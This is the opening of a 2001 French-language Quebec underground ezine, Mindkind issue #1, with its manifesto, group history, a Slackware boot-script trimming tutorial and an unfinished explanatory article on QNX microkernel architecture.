__ _ | | | | | | ____________|__|_|______________ | || | || | __ _ __ __ __ __ || | \ \/ \/ /| || | | | || __________________ | \ _ / | || |__ | |__ || | / | \/ \/ |__||_____||_____| || \ \___________ / | || \/ \/ | __ __ ___ _ _ || \ __ __ / | | |_| | /\ | _| | |// || | o| | o| \_ | | _ | / \ | |_ | \ || \__/ \__/ _ \/ | |__| |__| /__|_\ |___| |_|\_| || / / / | | | || / \_ / | | | __ || / |\______/ / / | / | || \ | |_| / / | / | |_ || \ \_ _ / / | /__| |_| || __\|_|__|_|/ / ____ _____ | |_| || ___ / \ / \/ / \ | || / / \ /\ / / \ | ____ \____ \____ ____ || / / \____/ / / \ | | __| |\__ | |\__ | | __ \ ||/ / \____/ / \ | | _| ||\_|| ||\_|| ||__| | || / \ \ | |_| |____| |____| |____/ || \ \ \ | \ \ || \ \ \ |________________________________|| \ \ \ | || / | \ \ | || / | \ \ | || (__ | \ ___/ _|__||_ ___ /| /| \ __ / \ _(______ \_/ //\ / \__ / | / \ ( \) \ (______)| // _\_/ / ) / | / \_)\ ) (_______}_ // / /__/ | / \ / (_____}| \\ _____ / | | __/ / (____/|/_ \\ // \/ |\ | / / / | || \_\\_/ / | __/|\/ /\\ | || / |/ \\___/__\\ | || ( /\ ______ ( \ \_______/ | || \__) \ / | | / \ / | || | \ / \__/ / \____/ | || |-- \______/ ----(___/ / / | || /| | | (__/_/_/ | || / | | | | || /___ / \ ___| | || / | | || / __\ \/ | || / / \ \ | || / / \ \ | || / / \ \ | || | | \ | | || | | \ | | || | | | | | || | \ | | | || |_____ / | ____| | || / \ / | / \ | || /_____ \ /| |/ _____\ ______ | || ______/ \ | / / \ | || / \ | / / / _____________|__||_____|________________\___|_________/_____/______________/___ _ _ __ _ _ _ _ __ _ _ ____ | \ / | | | | \ | | | |// | | | \ | | | __ \ Voici une liste des trucs | \/ | | | | \| | | \ | | | \| | ||__| | que vous ne retrouverez |_|\/|_| |__| |_|\__| |_|\_| |__| |_|\__| |____/ jamais dans Mindkind: The Quebec Underground Ezine for Geek Issue #1 Mindkind (K)opyrited 2001 - Des recettes de bombes Best before 01/06/2001 - Des appels a l'anarchie - Un point de vu serieux Mindkind The story - Un ornithorinque en ASCII a k a - Vos clef de char A quand la patch QT anti-wyzealiazing ? He non, il ne sagit pas d'un nouveau produit Wyzeman qui ne sortira jamais, la preuve, vous etes en train dle lire. Mindkind c'est quoi ? c'est un nom inventer, qui provien de mind = esprit et kind = genre. En gros ca veux dire le genre pensant, bref un association qui vise a regrouper le 1% underground du 5% de la population mondial qui pense (c'est a dire, ceux qui passe leur temps a se casser la tete sur des problemes plus ou moin pratique du genre la realiter est elle reel? pink floyd on tu faites un pacte avec le diable ? le diable existe t-il anyway ? ou encore, pourquoi y'a une fautes d'othographe dans mes alphabits ????, vous voyez le genre ?). La question que vous avez en tete presentement, est surement, mais pourquoi un autre ezine ? pourquoi un autre crew ? on pourrais vous repondre quon a l'underground a coeur et qu'on souhaite qu'elle soit bien representer, mais en realiter, on le fait parce qu'on a envie de tripper a ecrire un ezine, a vous apprendre des truc mais aussi a inventer des theorie, partagez des opinions, crier haut et fort que spyd est mongole et que xdcc est gay (theorie dailleur aprouver par init_null et 80% du staff). Nous allons choquer des gens, oui peu etre, surement, et j'yrais meme jusqua dire que nous le souhaiton, car c'est dans l'adversiter et la nescessiter que l'etre humain est a sont summom de productiviter. Donc plus vous nous attaquerez, plus nous en sortirons fort. Contrairement a la plus par des groupes, nous ouvrons nos porte a toute les categorie de l'underground, de la philosophie au hacking en passant par le warez , le carding, le cracking, le phreaking et meme irc, nous ne crachons sur rien, car dapres nous la seul chose qui est plus lame qu'un script kiddie qui nuke, c'est un elite qui se fait planter par un script kiddies. Nous avons aussi creer un systeme qui permetra meme au moin avancer d'entre vous (bon la on sentend, etre ignorant n'est pas un excuse pour etre stupide).. davoir leur place au sein du groupe Mindkind, bon, pour avoir bonne conscience on va vous dire que les idees contenu dans ce present ezine iront surement a l'encontre de ce que vos professeur, vos parent et bernard derome vous aurons apris et inculquer, vous risquez aussi de tomber sur de l'information qui pourrais vous permettre de vous creer des problemes avec la justice, donc, server vous de votre tete pi faite vous pas pognez. c'est tout ce quon vous demande, et surtout, ne pissez pas sur la moquette. merci ps : Il ne sagit pas d'un ezine consacrer au Hacking, mais bien a l'underground. Oui certain article parlerons de Hacking, mais il ne sagit pas du seul but rechercher. Understand ? The Staff .-----------------------------------------------------------------------. \ table of content / `---------------------------------------------------------------------' / nb title dude \ ; ; | 01 The Legacy STAFF | | 02 Fasting your slackware boot Wyzeman | | 03 QNX, Let's go deep inside the OS. LastCall_ | | 04 Softice Cracking Naxis | | 05 Securify Slackware Wyzeman | | 06 Root for rent MindFlayR | | 07 Le pouvoir des cons init_null | | 08 Tcl socket for gummies Wyzeman | | 09 Pessimism nothing94 | | 10 Bootstrap code Orange | | 11 Mais qu'est-ce que j'lie la moi ? Wyzeman | | 12 Perl chronicles LastCall_ | | 13 X-drill de black & decker Wyze & Qwz | | 14 ca pourrais etre vous :] init_null | | 15 L'electronique in a ledshell Qwzykx | | | '------------------------------------------------------------------' .--. .-----------------------------------------------------------------/ /--. | Le patrimoine lémurien vous présente : / / | | / / 01 | | La pré-histoire de Mindkind; sector_X, what was that? / / | '-------------------------------------------------------------/ /------' '--' Août 2000 : Résurrection. Wyzeman décide de repartir #sector_X, le channel, cette fois-ci avec un nouveau but. Il était donc le premier avec Naxis a être sur la nouvelle génération de ce restant de IGA. Par contre le but était tout autre : Ramasser les meilleurs de l'underground connu par Wyze LastCall_ arriva donc troisième sur le cannal et se lia d'amitié avec Naxis (*musique de violons*). Septembre 2000 : bonne santé. Tout vas de bon train sur #sector_X, l'atmosphère est underground à son meilleur, le chan est très fermé. Maintenant composé de g463, Kevorkian, Tekrebel, endrix, Funky, BenCode, Deamonz, LastCall_, Wyzeman, Naxis, binf, init_null, __2. Novembre 2000 : ouan. #sector_X est toujours en vie, sauf que rien ne se passe. LastCall_ promets de faire quelque chose dès que son cégep est terminé, Deamonz se fait sacré dehors par Naxis pour cause d'incompétence. Décembre 2000 : boffe. Le chan est quand même une bonne place, mais rapidement Wyzeman et LastCall_ se rendent compte que rien n'avance vraiment. Wyzeman tanta de faire passé l'idée de faire un ezine du nom de Mindkind.. rien. C'est donc ce mois la qu'une premiere version du "cover" de Mindkind à été faite. Tout gela pour la période des fêtes. Janvier 2001 : p-e que? LastCall_ s'assaya en partant un site web laid et en faisant une recherche sur les gens de sector_X du nom de uberCV. Wyzeman se tanna un peu du groupe. L'ambiance était excellante, mais le chan aurait pu s'apeller #amis-elite ou #igafreak, on aurait pas vu la différence (tant que ya une key et pis le même monde). #sector_X était donc une bonne place avec des bons gars, mais rien d'assé gluant dans l'ensemble pour produire quoi que ce soit, surtout que personne ne se levait devant les autres. Février 2001 : sector_X... The End. Wyzeman avait frustré certains membres. LastCall_ était tanné de voir toute cette merde, et il sacra son camp en même temps que Naxis. Wyzeman fit de même, g463 avait déjà presque quitté, la gagne de hull (kevo, tek, endrix) sacra leurs camps et __2 resta tout seul sur le chan avant Mars 2001 où il s'appercu qu'il n'y avait pu personne et plia bagage en laissant un bot derrière lui. Mars 2001 : Time to glue up. LastCall_ s'appercu de sa propriété "gluante" qui ressemblait à celle de Wyzeman, mais qui était totalement différente. Wyze avait dans l'idée depuis longtemps de recommencer quelque chose de neuf, quelque chose qui serait un groupe qui produit un ezine, plutôt qu'un simple chan. Il se joingna donc a __2 pour faire MoM, Mind Over Machine, le premier hack de madchat était supposé lancer le "groupe". Malheureusement, MoM ne fu pas un success, __2 et Wyzeman n'ont pas eu le courage de rien faire. Par contre, un jour, LastCall_ décida d'allé voir Wyzeman, et de faire enfin quelque chose parmis toute cte merde. Et ce quelque chose, c'est en parti ce que vous êtes presentement en train de lire. Avril 2001 : On start la machine.. vroumm Wyzeman avait déjà ouvert un chan, #Mindkind. Il était avec MindflayR et des bots. On discuta donc de plusieurs techniques d'architecture.. beaucoup de recrutement et blah blah. Par contre, on a découvert quon sétait tromper sur plusieurs sujets, non pas qu'il ne sont pas "bon" pour nous, mais plutôt qu'il ne fittait pas bien dans une des deux moitié de Mindkind. Car oui, Mindkind était et est encore une dualité Wyzeman et LastCall, qui est la plupart du temps explosive et qui est tjrs coopérative au sens "relais" de la chose.. et oui, on se relaye la job. heh Mai 2001 : Enfin :-) Finalement, après plusieurs péripéties, un ezine est fait. Vous l'avez entre les mains, faite lui attention.. il a fait déjà son bout de chemin et il n'attend que vous pour le lire. have phun. .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' ------------------ + ++ + + +-+ + + + + ////// \\\\\\ ++ + + + + ++ ++ + + + /// \\\ + + + + + ++ + ++ || _ _ _____ _ ____ _ || + + + + + + + + + | | | | | ____| | | _ \| | | +-----+------------------+ | | |_| | _| | | | |_) | | | |MindKind, Sharper Than a| | | _ | |___| |___| __/|_| | | BLADE ! | | |_| |_|_____|_____|_| (_) | +------------------------+ || || + + + + + + + + \\\ /// + + + + + \\\\\\ ////// + + ---+ +----------- + | | | ; ____ <=============(---8 | ; .-'& '-. /`"""`\ \,; / \ / , \ \ : o o ; /|/\/\/\ _\ ( (_ ) _ _ (_|/\/\/\\__) : ; <')_,/ <') ,/ |_______| \ __ / (_==/ (_==/ __)_ |_ (__ `-._____.-' ='- ='- (_____|_____) Evil Chicks .--. .----------------------------------------------------------------/ /--. | Fast your slackware boost / / | | a k a / / 02 | | quand un pingouin prend des steroides / / | '------------------------------------------------------------/ /------' '--' L'article qui suis se veut une introduction aux fameux fichier rc.??? le but recherché est en premier lieu de rapidifier le startup de votre linux en supprimant certaines parties de la sequence de bootage qui nous sont inutiles. (ex: le scsi si on en a pas). Ca donne quoi de gagner 2 secondes? Rien, a part le sentiment d'avoir un plus grand controle sur votre machine, de mieux connaitre votre OS, et d'occuper 5 min de votre temps. la premiere etape est de nous diriger a l'interieur du répertoire /etc/rc.d en root access et d'analyser le contenu de vos fichiers rc.x qui y sont, gang de chanceux j'lai faite pour vous, s'tu pas le fun ca? root@wyzeman:/etc/rc.d# ls rc.0 rc.6 rc.M rc.cdrom rc.inet1 rc.local rc.netdevice rc.serial rc.4 rc.K rc.S rc.gpm rc.inet2 rc.modules rc.samba rc.sysvinit root@wyzeman:/etc/rc.d# bon, seulement quelques-uns nous seront necessaires rc.0 = script invoqué pour initialiser le level 0 ou un reboot rc.4 = permet de booter directement en x (beurk) rc.6 = script invoqué pour initialiser le level 0 ou un reboot rc.K = exécuté pour etre au level 1 (admin), kill les deamons et boot single user rc.M = lance les utilitaires ayant rapports au multiuser. dernier script a etre lancé lors du boot (script initiateur) c'est d'ici qu'est lancé entre autre les rc.inetx et rc.local. rc.S = détection du hardware rc.cdrom = mount du cdrom (utiliser lors d'un mount /dev/cdrom /cdrom genre). rc.gpm = setting de la mouse en console rc.inet1 = setting de base du reseau rc.inet2 = setting des devices réseautiques loadées au startup rc.local = gogosse personnelle ajouté au départ (prob dune carte de son pas standard, probe dune carte 3d nvidia, start de pppoe. etc rc.modules = detection de tout les modules non inclus au kernel (mais supporter nativement) rc.netdevice = probe de votre carte réseau rc.samba = starting du samba serveur (peu etre absent si vous l'avez pas installé) rc.serial = initialise le port serial rc.sysvinit = tweak afin de simplifer le systeme V de unix qui est en soit complexe pour rien slackware se base tant qua lui sur le systeme init de BSD, ce script sert donc a faire la convertion (si vous voullez voir a quoi ressemble le Systeme V installez red hat (ou essayer de compiler vmware il demande un systeme V init systeme (ou un fake home made :]). bon qu'est-ce qui nous intérresse la dedans. rc.M rc.S rc.inet2 rc.M avec votre editeur préféré (pico rulez), ouvrez rc.M (dah). Et faite une recherche sur les mots suivants : lpd (si vous avez pas d'imprimante, commentez les lignes suivante : avant if [ -x /usr/sbin/lpd ]; then /usr/sbin/lpd fi apres # if [ -x /usr/sbin/lpd ]; then # /usr/sbin/lpd # fi netatalk (n'est pas activé par default, mais verifiez s'il est déja commenté). # Start netatalk. (a file/print server for Macs using Appletalk) #if [ -x /etc/rc.d/rc.atalk ]; then # /etc/rc.d/rc.atalk #fi sendmail (si vous êtes une workstation vous en avez probablement rien a foutre, vive les web mail. /Note from LastCall_: oui mais pour spammer? hehe/) avant #Start the sendmail daemon: if [ -x /usr/sbin/sendmail ]; then echo "Starting sendmail daemon (/usr/sbin/sendmail -bd -q15m)..." /usr/sbin/sendmail -bd -q15m fi apres # Start the sendmail daemon: #if [ -x /usr/sbin/sendmail ]; then # echo "Starting sendmail daemon (/usr/sbin/sendmail -bd -q15m)..." # /usr/sbin/sendmail -bd -q15m #fi font (c'est dla marde) avant # Load a custom screen font if the user has an rc.font script. if [ -x /etc/rc.d/rc.font ]; then . /etc/rc.d/rc.font fi apres # Load a custom screen font if the user has an rc.font script. #if [ -x /etc/rc.d/rc.font ]; then # . /etc/rc.d/rc.font #fi web (a moins que vous vouliez hoster un site) avant # Start Web server: if [ -x /etc/rc.d/rc.httpd ]; then . /etc/rc.d/rc.httpd fi apres # Start Web server: #if [ -x /etc/rc.d/rc.httpd ]; then # . /etc/rc.d/rc.httpd #fi bon voici qui fait le tour des trucs pouvant etre enlevés dans rc.M sans modifier les capacitées de votre ordi voir meme l'empecher de booter. Évidament, si vous enlevez la verification du httpd, eh bien, si vous decidez d'installer Apache par la suite n'oubliez pas de venir enlever les comments. rc.S comme pour rc.M faite une recherche sur les mots clefs indiqués. (ou scrollez jusqu'a ce que vous trouviez la bonne ligne). /etc/issue (ce script réinitialise les valeurs de /etc/issue et /etc/motd a chaque reboot.) avant # Setup the /etc/issue and /etc/motd to reflect the current kernel level: # THESE WIPE ANY CHANGES YOU MAKE TO /ETC/ISSUE AND /ETC/MOTD WITH EACH # BOOT. COMMENT THEM OUT IF YOU WANT TO MAKE CUSTOM VERSIONS. echo > /etc/issue echo Welcome to Linux `/bin/uname -a | /bin/cut -d\ -f3`. >> /etc/issue echo >> /etc/issue echo "`/bin/uname -a | /bin/cut -d\ -f1,3`." > /etc/motd apres # Setup the /etc/issue and /etc/motd to reflect the current kernel level: # THESE WIPE ANY CHANGES YOU MAKE TO /ETC/ISSUE AND /ETC/MOTD WITH EACH # BOOT. COMMENT THEM OUT IF YOU WANT TO MAKE CUSTOM VERSIONS. #echo > /etc/issue #echo Welcome to Linux `/bin/uname -a | /bin/cut -d\ -f3`. >> /etc/issue #echo >> /etc/issue #echo "`/bin/uname -a | /bin/cut -d\ -f1,3`." > /etc/motd ISA (vous avez encores des cartes ISA ? si oui touchez pas a ca, sinon, ben vous perdez pas grand chose a l'enlever). avant # Configure ISA Plug-and-Play devices: if [ -r /etc/isapnp.conf ]; then if [ -x /sbin/isapnp ]; then /sbin/isapnp /etc/isapnp.conf fi fi apres # Configure ISA Plug-and-Play devices: #if [ -r /etc/isapnp.conf ]; then # if [ -x /sbin/isapnp ]; then # /sbin/isapnp /etc/isapnp.conf # fi #fi PCMCIA (a moins que vous ayez un laptop, y'a pas grand chances que ca vous serve a quoi que ce soit). avant # Initialize PCMCIA devices: if [ -x /etc/rc.d/rc.pcmcia ] ; then . /etc/rc.d/rc.pcmcia start fi apres # Initialize PCMCIA devices: #if [ -x /etc/rc.d/rc.pcmcia ] ; then # . /etc/rc.d/rc.pcmcia start #fi bon, on en a maintenant fini avec rc.S comment précédemment, avant d'enlever soyez bien sur de ne pas en avoir de besoin. rc.inet2 vous connaissez le principe je crois RPC (bof) avant # Start the SUN RPC Portmapper: if [ -x /sbin/rpc.portmap ]; then echo "Starting /sbin/rpc.portmap..." /sbin/rpc.portmap fi apres # Start the SUN RPC Portmapper: #if [ -x /sbin/rpc.portmap ]; then # echo "Starting /sbin/rpc.portmap..." # /sbin/rpc.portmap #fi SSHD (ca dépend a quel point vous etes parano, ssh est en soit quelque chose qui peu s'avérer extrêmement util, mais l'utilisateur moyen en aura probablement pas besoin (vous lavez pas en windows pi vous etes encore en vie). avant # Look for sshd in the two most common locations (compiled with --prefix=/usr # or with --prefix=/usr/local) and if we find it, start it up if [ -x /usr/local/sbin/sshd ]; then echo -n " sshd" /usr/local/sbin/sshd elif [ -x /usr/sbin/sshd ]; then echo -n " sshd" /usr/sbin/sshd fi apres # Look for sshd in the two most common locations (compiled with --prefix=/usr # or with --prefix=/usr/local) and if we find it, start it up #if [ -x /usr/local/sbin/sshd ]; then # echo -n " sshd" # /usr/local/sbin/sshd #elif [ -x /usr/sbin/sshd ]; then # echo -n " sshd" # /usr/sbin/sshd #fi NAMED (vous voulez runner un name server pour resolver des .mindkind sur votre reseau ? soit, laissez le la). avant if [ -x ${NET}/named ]; then echo -n " named" ${NET}/named fi apres #if [ -x ${NET}/named ]; then # echo -n " named" # ${NET}/named #fi SUN RPC (oui encore, btw c le dernier en bas), commenter tout. bon, j'ai pas de avant, fak jvous écœurerais pas avec ca :]. Ca fait d'ailleurs le tour de ce qui peu etre enlevé de votre startup sans fucker votre machine. Il ne me reste plus qu'a vous souhaiter de bons et heureux boots. Et d'ailleurs vous commencez a mieux comprendre ce qui se passe lorsque vous démarrez linux ( si vous avez du temps, lisez les commentaires déjà installer dans les rc. c'est parfois tres instructif.) Wyzeman .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' < Underground is not a style, it's a way to think. > [ ciel, remercier restrict, la machine à quotes. ] .--. .----------------------------------------------------------------/ /--. | / / | | QNX, realtime OS for virtual life / / 03 | | / / | '------------------------------------------------------------/ /------' '--' Part #1 : System Architecture ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Lorsqu'on qualifie un OS de realtime, c'est au niveau du kernel qu'on regarde le tout. S'il est assé rapide pour que les applications qui s'exécutent pensent qu'ils sont pratiquement seul avec la machine, le "realtime" est réussi. Pour ce faire, l'utilisation d'un microkernel est nécessaire. Un microkernel c'est en faite un kernel qui est le plus "bare bone" possible. QNX l'est. D'un autre coté si on regarde d'autres OS qui font le contraire, Linux est un excellant exemple, on a le choix entre loader les patentes en modules ou dans le kernel. QNX load tout en modules, sauf les fonctions essentielles d'un _vrai_ kernel : le "message passing" (IPC, un process qui veut communiquer avec un autre) et le "scheduling" (permet de dealer avec les status des processus, ce qui veut dire carrément répartir le temps cpu entre les process). Justement, le microkernel lui même ne passe pas par le sheduler, il communique directement sans se soucier d'attendre son tour avec le hardware et les process. Le kernel est donc divisé en 4 mottons, 2 petits : Network interface et Interrupt director. 2 gros : IPC et Scheduler. Ces derniers sont les plus complexes et intéressent regardon comment ça marche. (alors ici vous allé voir des concepts généraux d'un IPC et d'un sheduler, donc intéressent si vous en avez rien a foutre de QNX) IPC : what is tha? ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Interprocess communication; Les processus qui communique entre eux. QNX comprend 3 sorte de IPC : "Messages", "Proxies" et "Signals". Les signals sont ce que vous avez déjà surement vue à qqpart ou caller avec kill : SIGKILL, SIGHUP, etc. C'est une méthode (asynchrome) POSIX qui a été implanté dans QNX. Les processus ne font que généralement "mourrir" suite à la réception d'un signal, mais ils peuvent aussi l'ignorer. Bien sure ils peuvent gèrer le signal de la manière qu'ils veulent. Par exemple, si j'envoie SIGHUP a mon application, elle peut rehasher sa config. Les messages sont des paquets de data qui voyagent synchros. On utilise des paquets car comme ça les IPC peuvent se faire autant au niveau local de la machine que sur le réseau, et oui QNX supporte nativement l'échange de messages entre les process de différentes machines. Au fait, dans chaque process QNX, un "virtual circuit" (VC) lui est attribué. Ni plus ni moins, un pid virtuel est attribué à notre process lorsqu'il se spread sur le réseau. fun. Revenons aux messages, il y a 3 fonctions pour gèrer les messages : Send(), Receive() et Reply(). Lorsque notre process veut envoyer dla data , il l'envoit à l'autre process et se bloque les send jusqu'à temps que l'autre process recoive le message. Ensuite, il attend (il se bloque) le reply de l'autre process (ici se fait la syncronisation). Pendant ce temps l'autre est en mode receive-blocked et recoit le message et Reply. Le premier process qui a envoyer la data redevient donc ready. Pour vulgariser ça, on peut le voir comme un genre de "ping". A ping B. B recoit le ping. B reply a A. A recoit le reply et la transmission est terminée. La syncro est donc faite à l'aide des "blocked". Un process ne vas pas renvoyer un autre paquet s'il n'a pas eu la réponse de l'autre, et l'autre ne vas pas recevoir dautre paquet s'il est en train d'envoyer ou de recevoir. La data qui attends se trouve ou? Même pas dans le microkernel, il store rien il fait juste scheduler, donc tout simplement il fait attendre l'autre process avant d'envoyer le Send(). Pour ceux qui aime voir comment un kernel pète en lui sendant dla shit, passer votre tour sur QNX il ne vas pas se bourrer il va juste faire attendre votre application sans faire plus chier les autres que ça (cé ça le "realtime"). Les proxies sont une sorte de message qui font faite spécialement pour ne pas avoir à attendre après l'autre process, donc ça ne bloque pas rien. C'est utilisé lorsqu'on veut pas avoir de Reply() et/ou qu'on veut aviser un process de quelque chose sans nécessairement lui envoyer un message. Vu que justement il n'y a pas de blockage qui se fait, le proxie doit se faire une queue de message, avec un maximum de 65,535 (bon la on vienne de trouver un moyen de bourrer un proxie, mais hey un proxy cé juste une forme de message passer entre 2 process donc y fait juste bifurquer par le kernel, DONC le kernel se bourre pas, heh.) Process sheduling : qui fait quoi quand ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Le sheduler s'occupe de décider quand un process débloque, quand il s'active et quand son temps d'exécution est terminé. Tout les process ont une pritorité qui varie de 0 à 31. Lorsque le OS se demande quoi faire, il regarde le prochain process Ready avec la prioriété la plus haute et va le faire spinner. Il existe 3 méthodes différentes pour faire ça. FIFO: le process continue de s'exécuter jusqu'à temps qu'il laisse lui meme sa place ou qu'il est tassé de sa place par un process de plus haute priorité. Round-robin : Meme chose que FIFO, en plus qu'il laisse sa place lorsque son temps d'exécution accordé est terminé ( 50 milisecondes ). Adaptive : lorsque le temps d'exécution du process est terminé, il baisse sa priorité de 1 et reste de même jusqu'à temps qu'il bloque, et la il revient à sa prioriété de base. Bon alors c'est a peu près tout ce que le microkernel fait.. maintenant alons voir les différents modules s'il sont tout aussi intéressent. Le process manager ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Il faut bien être capable de lancer des applications si le kernel peut pas faire la job. Donc on lance ce process qui lance les autres process Il existe 3 méthodes pour ce faire : fork(), exec() et spawn(). Les 2 premiers sont POSIX et le dernier est caractéristique a QNX. Le fork() cré un nouveau process qui est exactement la même chose que le process qui fait le fork : une sorte de copy du process au complet avec toute les datas. Le exec() remplace le processus en cours avec un nouveau processus. Généralement pour créer un nouveau process on fork() le process en cours et on exec() qqchose dedans. Le spawn() cré un nouveau process qui est l'enfant de celui qui le cré. Donc on est pas obliger de faire un fork() suivit d'un exec pour créer un sous processus. C'est donc plus rapide, et en plus le spawn() peut se faire sur nimporte quel node du réseau (kossé ça une node? attendez d'être rendu au Network Manager pour savoir). Le process manager est le dieu des process et gère leurs vie, qui est composée de 4 phases : - La création donne un process ID au process créé et le fou dans son environnement qui est généralement hérité de son process parent. - Le loading charge le début du process et est faiute par un "loader thread". Ce bidule est en faite du code du process manager qui s'exécute dans le pid du process qui est en train de naitre. - L'exécution du process est l'exécution du programme (me semble c'est clair?). Juste comme ça, si un parent crève pendant que son enfant est en vie, l'enfant ne vas pas mourrir. - Le terminage (termination?) du process se fait lorsque se fait killer ou bien lorsquil exit() ou retourne du main() (donc qu'il a fini son excécution et n'a pu rien d'autre à faire que de mourrir.) Un process a aussi plusieurs "state", comme on a vu tantot lors du IPC. READY(il peut utiliser le cpu), BLOCKED(sync du IPC), HELD(un genre de break qu'on peut donner à un process avec SIGSTOP, il va arrêter d'utiliser le cpu et on peut le contiuer avec un SIGCONT), WAIT-blocked (le process est en train de faire un wait(), yattend) et DEAD (le process est mourru, mais sont parent est meme pas en train d'attendre qu'il rendent complètement l'ame, donc ce process "zombie" n'existe plus en mémoire mais seulement en temps que pid avec un state). La dernière partie a été difficile du coté émotionnel je l'avoue (vie, mort.. pkoi tout ça? hehe), on va donc prendre un break de ces émotions et reviser des concepts d'OS plus normaux avec d'autres modules. Le Filesystem Manager ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Tout les os se doivent se gèrer l'ouverture, la fermeture, la lecture et l'écriture des fichiers. Fsys (de son petit nom) s'occupe de 5 types de fichiers : - Les fichiers régulier où QNX ne reconnait pas les types et laisse les applications s'en charger. - Les dossiers qui agisse comme des fichiers standards sauf que tu peux pas linker dessus et que tu peux pas écrire dessus. - Les liens symbolique, sont comme différent alias qu'on peut donné a un fichier. Un fichier peut avoir donc plusieurs nom différent. Les "." et ".." que l'on retrouve dans chaque répertoire, sont en fait des liens respectivement sur le répertoire courrant et le répertoire parent. Il existe 2 types de liens : le liens symbolique et le hard link. La plupart du temps le symbolique est utilisé, car le hard peut corrompe les fichiers : si tu efface un hard link, tu efface le fichier, tandis que dans le cas du symbolique tu efface seulement les informations permettant de pointer dessus. Si un fichier a plusieurs liens, ou s'il a plus que 16 caractères de long, le lien est conservé dans le fichier /.inodes - Les Pipes et les FIFO : une pipe c'est un genre de fichier qui peut être lu et écrit mais qui n'existe pas, le Fsys s'occupe de faire un buffer pour le contenir. C'est utilisé pour que des applications puisse se communiquer entre elles, par exemple : "ls | more" prend le output de ls et le mettre dans le pipe "|" et more prend son input du pipe. Les FIFO c'est la même chose que les pipes, sauf que les informations sont gardé dans un vrai fichier. - Les fichier bloque spéciaux sont des fichiers qui désigne des périphériques. (Voir plus loin pour plus d'explications) Fsys maintient différentes dates pour chaque fichier (dernière lecture, dernière écriture, dernière modification et date de création) ainsi que des droits pour les utilisateurs, groupes et autres.. tout ce qui a de plus standard! (ceux qui sont perdu un peu, faite un ls -l et regarder. Vous allez voir des rwx, mais je suppose que si vous êtes rendu à lire ici dans l'article vous savez déjà c'est quoi.. sion bien : Read Write eXecute, 3 fois pour user/groupe/others). Aussi, Fsys comporte différents bidules pour augementer ses performances de la manière suivante : Quand il lit différent fichier un après l'autre il s'arrange pour les prendre dans l'ordre qu'il seek sur le disque (comme un vényle). Il se sert aussi du buffer permit par le hardware pour accèder aux fichiers les plus utilisés. Il peut aussi gèrer plusieurs disques à la fois et plusieurs fichiers, ce qui veut dire qu'il est multi-tread (en gros le multi-tread c comme si il se clonait pour pouvoir faire plusieurs choses en même temps). Il devine lorsque les fichiers temporaires ne seront pas utilisés longtemps et il ne les écrit pas sur le disque mais plutôt dans la cache. Et finalement il peut créer un ramdisk pouvant allé jusqua 8 Meg. Tout ça est compris dans le module. QNX se gosse aussi sa propre partition et peut mounter facilement une partition dos a l'aide de Dosfsys qui load tout ça en guest dans /dos. Sur la partition elle même de QNX, les informations suivantes sont inscrites (dans lordre): - Loader : Premier bloque de la partition, contien du code qui dit au BIOS de loader le OS. - Root block : Perçu comme un répertoire normal, il contient le répertoire root (/) le fichier /.inodes, /.boot et /.altboot. Ces deux derniers contienne l'image du OS QNX qui est loader. - Bitmap : QNX se sert de se fichier pour répartir l'espace sur le disque. Il contient une image des bloques libre et occupés qui sont représenter en bit : 1 pour occuper, 0 sinon. - Root directory : Ce répertoire contient les vrais fichier normalement comme nimporte kel autre vrai répertoire, sauf pour le cas de . et .. qui pointe les deux sur / et les fichiers du root block qui sont présent. Le Device Manager ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Ce module s'occupe de faire l'interface entre les processus et les périphériques terminaux. Par exemple /dev/con1 est une console. Il n'a pas grand chose d'intéressent a dire dessus, si ce n'est qu'il soccupe du input/output des terminaux et qu'il buffer toute avec 3 queues. Ces 3 queues sont entre le Device Manager et les driver de périphérique. Les 3 peuvent faire un maximum de 64K et sont divisées de la manière suivante : 2 pour le input et 1 pour le output raw. Le output permet donc d'envoyer la data au driver sans le bourrer. Les 2 inputs fonctionnent en in et cannon pour recevoir de l'information. Le cannon contient la grosseur maximum de la queue que peut recevoir l'application qui l'utilise. Je pourrais faire un schéma, mais je fais exprès pour rendre ça le plus théorique possible ;-) Ces 3 queues sont appliqué 3 fois aussi sur 3 types de drivers. - Console (l'écran), qui peut être virtuelle, donc on peut avoir plusieurs consoles sur un seul écran. On peut lire, écrire, changer des bidules à l'écran, changer la grosseur et évidamment switcher à celle qu'on veut. - Serial, s'occupe du hardware série en input/output. - Parallel, ... ~~~~~~~~~~~~~~~~~~ Intermede ~~~~~~~~~~~~~~~~~~~~~ haha yes! jai trouver une erreur dans le livre moueheheh Dans le livre ya un schéma, (celui que je voulais pas vous dessiner tantot) qui montre les queues OUT/IN/CANON pour chaque driver, dont le parralle et dans le texte c'est spécifier clairement "Dev.par is an output-only driver, so it has no input or canonical input queues." Donc, c'est comme pas supposer être dessiner CANON pour le parralle! Quand même, cé une seconde édition rewriter 5 ans après la premiere... Vive la lecture attentive :-) ~~~~~~~~~~~~~ tachon de revenir au txt normal ~~~~~~~~~~~~~~~ bon heu revenon a notre sérieux la, le Parallel driver marche juste en output et process la data dans une sorte de busy-wait low priority (un ptit while). Bon maintenant le dernier "module"... Le Network Manager ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Net de son petit nom, s'occupe de toute ce qui est réseau QNX. Il fait donc le lien entre les Send() Receive() et Reply(). Il permet de tout balancer le load du réseau, de faire des connections redondante pour de quoi de plus fiable et de faire le pont entre différents networks. Les liens qu'il fait sont en faite des IPC par dessus le réseau. En quelques mots : Net permet au processus de communiquer entre eux entre différentes nodes. Une node c'est carrément un autre ordinateur avec QNX sur le même réseau. Le kernel lui fourni donc une queue de tout ce qui se passe avec les processus virtuels. Ces processus sont des vrais processus qui roule sur une machine, mais qui sont nommés globalements pour tout le réseau. Le Network Manager ne contient pas les drivers pour les cartes réseau, il se link dessus pour envoyer la data. Une node est identifiée de 2 manières : - Le ID physique de la carte réseau 